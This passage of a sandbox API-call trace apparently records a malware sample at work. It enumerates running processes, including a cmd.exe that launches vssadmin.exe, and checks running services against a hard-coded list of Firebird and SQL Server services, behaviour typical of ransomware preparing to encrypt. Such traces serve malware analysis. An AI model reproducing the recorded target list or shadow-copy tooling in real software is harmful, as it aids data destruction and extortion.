(lpString="svchost.exe") returned 11 [0057.550] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.550] lstrlenW (lpString="svchost.exe") returned 11 [0057.550] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.551] lstrlenW (lpString="svchost.exe") returned 11 [0057.551] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.551] lstrlenW (lpString="svchost.exe") returned 11 [0057.551] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.551] lstrlenW (lpString="svchost.exe") returned 11 [0057.551] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.552] lstrlenW (lpString="audiodg.exe") returned 11 [0057.552] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.552] lstrlenW (lpString="svchost.exe") returned 11 [0057.552] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.552] lstrlenW (lpString="svchost.exe") returned 11 [0057.552] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.552] lstrlenW (lpString="dwm.exe") returned 7 [0057.553] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.553] lstrlenW (lpString="explorer.exe") returned 12 [0057.553] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.553] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.553] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.553] lstrlenW (lpString="taskhost.exe") returned 12 [0057.554] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.554] lstrlenW (lpString="svchost.exe") returned 11 [0057.554] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.554] lstrlenW (lpString="taskeng.exe") returned 11 [0057.554] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.554] lstrlenW (lpString="taskhost.exe") returned 12 [0057.554] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0057.555] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0057.555] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0057.555] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0057.555] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0057.555] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0057.555] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0057.556] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0057.556] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0057.556] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0057.556] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0057.556] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0057.556] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0057.557] lstrlenW (lpString="toyota.exe") returned 10 [0057.557] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0057.557] lstrlenW (lpString="radiation.exe") returned 13 [0057.557] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0057.557] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0057.557] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0057.558] lstrlenW (lpString="ur illustration.exe") returned 19 [0057.558] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0057.558] lstrlenW (lpString="facing.exe") returned 10 [0057.558] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0057.558] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0057.558] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0057.558] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0057.558] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0057.559] lstrlenW (lpString="headline.exe") returned 12 [0057.559] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0057.559] lstrlenW (lpString="army_unsigned.exe") returned 17 [0057.559] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0057.559] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0057.559] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0057.560] lstrlenW (lpString="distribution-gif.exe") returned 20 [0057.560] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0057.560] lstrlenW (lpString="tribunal.exe") returned 12 [0057.560] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0057.560] lstrlenW (lpString="aafeof.exe") returned 10 [0057.560] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0057.561] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0057.561] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0057.561] lstrlenW (lpString="encryption.exe") returned 14 [0057.561] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.561] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.561] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0057.562] lstrlenW (lpString="1с_.exe") returned 7 [0057.562] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.562] lstrlenW (lpString="cmd.exe") returned 7 [0057.562] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.562] lstrlenW (lpString="conhost.exe") returned 11 [0057.562] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.562] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.563] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.563] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.563] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.563] lstrlenW (lpString="svchost.exe") returned 11 [0057.563] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.563] CloseHandle (hObject=0x1a8) returned 1 [0057.563] Sleep (dwMilliseconds=0x1f4) [0058.574] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f94058 [0058.575] EnumServicesStatusExW (in: hSCManager=0x3f94058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0058.575] GetLastError () returned 0xea [0058.575] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0058.576] EnumServicesStatusExW (in: hSCManager=0x3f94058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0058.577] CloseServiceHandle (hSCObject=0x3f94058) returned 1 [0058.577] lstrlenW (lpString="Appinfo") returned 7 [0058.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.577] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.577] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.577] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.577] lstrlenW (lpString="AudioSrv") returned 8 [0058.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0058.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0058.577] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0058.578] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0058.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0058.578] lstrlenW (lpString="BFE") returned 3 [0058.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.578] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.578] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.578] lstrlenW (lpString="CryptSvc") returned 8 [0058.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.578] lstrlenW (lpString="CscService") returned 10 [0058.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0058.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0058.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0058.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0058.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0058.578] lstrlenW (lpString="DcomLaunch") returned 10 [0058.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.579] lstrlenW (lpString="Dhcp") returned 4 [0058.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.579] lstrlenW (lpString="Dnscache") returned 8 [0058.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.579] lstrlenW (lpString="DPS") returned 3 [0058.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.579] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.579] lstrlenW (lpString="eventlog") returned 8 [0058.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0058.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0058.579] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0058.579] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0058.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0058.579] lstrlenW (lpString="EventSystem") returned 11 [0058.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.580] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.580] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.580] lstrlenW (lpString="gpsvc") returned 5 [0058.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.580] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.580] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.580] lstrlenW (lpString="iphlpsvc") returned 8 [0058.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.580] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.580] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.580] lstrlenW (lpString="LanmanServer") returned 12 [0058.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.580] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.581] lstrlenW (lpString="lmhosts") returned 7 [0058.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.581] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.581] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.581] lstrlenW (lpString="MMCSS") returned 5 [0058.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0058.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0058.581] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0058.581] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0058.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0058.581] lstrlenW (lpString="MpsSvc") returned 6 [0058.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.581] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.581] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.581] lstrlenW (lpString="Netman") returned 6 [0058.581] lstrcmpiW 